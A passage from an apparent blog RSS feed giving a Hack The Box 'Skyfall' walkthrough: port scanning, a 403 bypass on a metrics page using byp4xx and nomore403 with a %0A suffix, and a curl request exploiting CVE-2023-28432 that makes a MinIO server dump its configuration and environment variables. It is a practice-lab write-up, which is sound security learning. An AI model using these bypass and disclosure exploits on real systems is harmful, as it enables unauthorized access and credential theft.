<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Minio on CrippledMind's InfoSec Journal</title><link>https://crippledmind-infosec-journal.netlify.app/tags/minio/</link><description>Recent content in Minio on CrippledMind's InfoSec Journal</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 08 Jul 2024 22:53:43 +0530</lastBuildDate><atom:link href="https://crippledmind-infosec-journal.netlify.app/tags/minio/index.xml" rel="self" type="application/rss+xml"/><item><title>Skyfall</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/</link><pubDate>Mon, 08 Jul 2024 22:53:43 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Skyfall&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> 10.10.11.254&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Insane&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>Rustscan&lt;/a>. There were only two ports open.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">rustscan&lt;/span> &lt;span class="c1">--ulimit 5000 -r 1-65535 -a $IP -- -T4 -Pn -A | tee -a scan.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">22&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ssh&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">OpenSSH&lt;/span> &lt;span class="mf">8.9&lt;/span>&lt;span class="n">p1&lt;/span> &lt;span class="n">Ubuntu&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="n">ubuntu0&lt;/span>&lt;span class="mf">.6&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">protocol&lt;/span> &lt;span class="mf">2.0&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">hostkey&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">65&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">70&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">47&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">07&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">88&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">27&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">e9&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">cb&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">44&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fb&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ECDSA&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ecdsa&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">sha2&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">nistp256&lt;/span> &lt;span class="n">AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCVqvI8vGs8EIUAAUiRze8kfKmYh9ETTUei3zRd1wWWLRBjSm&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">soBLfclIUP69cNtQOa961nyt2&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">BOwuR35cLR4&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">256&lt;/span> &lt;span class="mi">74&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">48&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">07&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b7&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">88&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">ec&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">aa&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">b4&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c8&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">fe&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ED25519&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ed25519&lt;/span> &lt;span class="n">AAAAC3NzaC1lZDI1NTE5AAAAINk0VgEkDNZoIJwcG5LEVZDZkEeSRHLBmAOtd&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">pduzRW&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">nginx&lt;/span> &lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Skyfall&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">Introducing&lt;/span> &lt;span class="n">Sky&lt;/span> &lt;span class="n">Storage&lt;/span>&lt;span class="err">!&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">favicon&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Unknown&lt;/span> &lt;span class="n">favicon&lt;/span> &lt;span class="n">MD5&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">FED84E16B6CCFE88EE7FFAAE5DFEFD34&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">nginx&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">1.18.0&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">Ubuntu&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">Info&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OS&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Linux&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">CPE&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cpe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">linux_kernel&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-80">Port 80
&lt;/h3>&lt;p>When I go to the website, looking around found the possible domain given in the users section. I also noted down the users name in a list in case brute forcing has to be done.&lt;/p>
&lt;!-- ------------------------------------------------------------------------------------------ -->
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">jbond
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">askyy
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">btanner
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now looking again, I found a contact form. I tried exploiting it, but the form does not do anything useful. When submit is clicked, it just gets the home page with the details in query parameters added.&lt;/p>
&lt;p>Another endpoint &lt;code>try our demo&lt;/code> seems interesting. This opens up a subdomain &lt;code>demo&lt;/code>. Added it to &lt;code>/etc/hosts&lt;/code>. A login page which gives default creds &lt;code>guest\guest&lt;/code> to login.&lt;/p>
&lt;p>Upon login, I could see many attack points. There were forms, file upload and url query. I tried for xss to steal sessions but none of them worked. I tried for malicious file upload. But i was not able to make the server run that, it was just downloading it. There were two other paths, &lt;code>beta&lt;/code> and &lt;code>metrics&lt;/code>. But both of them gave &lt;code>4**&lt;/code> error.&lt;/p>
&lt;p>Now since this is an insane box, I went on to try again on those forms, file upload etc. I found out that the app is made from flask. So tried even with that using hacktricks.&lt;/p>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="flask.png" alt="Image 1" style="width: 48%;"/>
&lt;img src="pythonpoint.png" alt="Image 2" style="width: 48%;"/>
&lt;/div>
&lt;p>But after 2-3 hours, I gave up!!! 🫠🫠&lt;/p>
&lt;p>After some needed break from this, thinking and remembering all info I know of enumeration, I luckily remembered that, sometimes restricted paths can be bypassed with methods like &lt;code>HTTP Methods&lt;/code> fuzzing, different &lt;code>letter casings&lt;/code>, different &lt;code>Protocol Version&lt;/code> etc. All these can be found in &lt;a class="link" href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses" target="_blank" rel="noopener"
>Bypass hacktricks&lt;/a>.
I tried some of the methods manually but nothing was working, there were automated tools given in the references. Yessss!!! It was a success. One of the tools:&lt;a class="link" href="https://github.com/lobuhi/byp4xx" target="_blank" rel="noopener"
>Bypass 4xx errors&lt;/a> found the bypass by appending &lt;code>%0A&lt;/code>. Another tool &lt;a class="link" href="https://github.com/devploit/nomore403" target="_blank" rel="noopener"
>nomore403&lt;/a> I found by searching was also successful in finding this.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">nomore403&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nomore403&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">payloads&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">H&lt;/span> &lt;span class="s1">&amp;#39;Cookie: session=&amp;lt;token_value&amp;gt;&amp;#39;&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">u&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">demo&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">skyfall&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">metrics&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="o">./&lt;/span>&lt;span class="n">byp4xx&lt;/span> &lt;span class="o">--&lt;/span>&lt;span class="nb">all&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xV&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xH&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xUA&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xD&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xS&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xM&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">xX&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">H&lt;/span> &lt;span class="s1">&amp;#39;Cookie: session=&amp;lt;token_value&amp;gt;&amp;#39;&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">demo&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">skyfall&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">metrics&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br>
&lt;div style="display: flex; justify-content: space-between;">
&lt;img src="bypassed.png" alt="Image 1" style="width: 64%;"/>
&lt;img src="bypassedtwo.png" alt="Image 2" style="width: 34%;"/>
&lt;/div>
&lt;p>Bypassing the page, I land in a frontend for minio metrics. Looking at the entries, I found several useful information.
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion.png"
width="2028"
height="78"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion_hu771d4d0023d367cbe9a3231a6dbfac72_25878_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/minioversion_hu771d4d0023d367cbe9a3231a6dbfac72_25878_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="2600"
data-flex-basis="6240px"
>
&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain.png"
width="2192"
height="90"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain_huc3eb80a56ee734e4e9d493265e9a90cf_24808_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/skyfall/subdomain_huc3eb80a56ee734e4e9d493265e9a90cf_24808_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="2435"
data-flex-basis="5845px"
>&lt;/p>
&lt;p>I added the subdomain to &lt;code>/etc/hosts&lt;/code>. Going to the path, I found minio metrics.&lt;/p>
&lt;div class="notice notice-info">
MinIO is a high-performance, S3 compatible object store. It is built for
large scale AI/ML, data lake and database workloads. It is software-defined
and runs on any cloud or on-premises infrastructure. MinIO is dual-licensed
under open source GNU AGPL v3 and a commercial enterprise license.
&lt;/div>
&lt;p>So now to try to read the storage, I searched online for a potential vulnerability for this version to have the necessary permissions, alas!!! I found one &lt;a class="link" href="https://vulners.com/nuclei/NUCLEI:CVE-2023-28432" target="_blank" rel="noopener"
>Minio vuln&lt;/a>🥳. According to the post, a post request to the endpoint &lt;code>/minio/bootstrap/v1/verify&lt;/code> would return all the environment variables of minio. I did a curl request and got the data. 🎉&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="err">❯&lt;/span> &lt;span class="n">curl&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">prd23&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">backend.skyfall&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">htb&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">minio&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bootstrap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">v1&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">verify&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">d&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>&lt;span class="s2">&amp;#34;MinioEndpoints&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;Legacy&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;SetCount&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;DrivesPerSet&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Endpoints&amp;#34;&lt;/span>&lt;span class="p">:[{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node1:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node2:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node1:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data2&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">},{&lt;/span>&lt;span class="s2">&amp;#34;Scheme&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Opaque&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;User&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">null&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;minio-node2:9000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Path&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;/data2&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawPath&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;OmitHost&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;ForceQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawQuery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Fragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;RawFragment&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;IsLocal&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="p">}],&lt;/span>&lt;span class="s2">&amp;#34;CmdLine&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;http://minio-node{1...2}/data{1...2}&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;Platform&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;OS: linux | Arch: amd64&amp;#34;&lt;/span>&lt;span class="p">}],&lt;/span>&lt;span class="s2">&amp;#34;MinioEnv&amp;#34;&lt;/span>&lt;span class="p">:{&lt;/span>&lt;span class="s2">&amp;#34;MINIO_ACCESS_KEY_FILE&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;access_key&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;MINIO_BROWSER&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s2">&amp;#34;off&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span 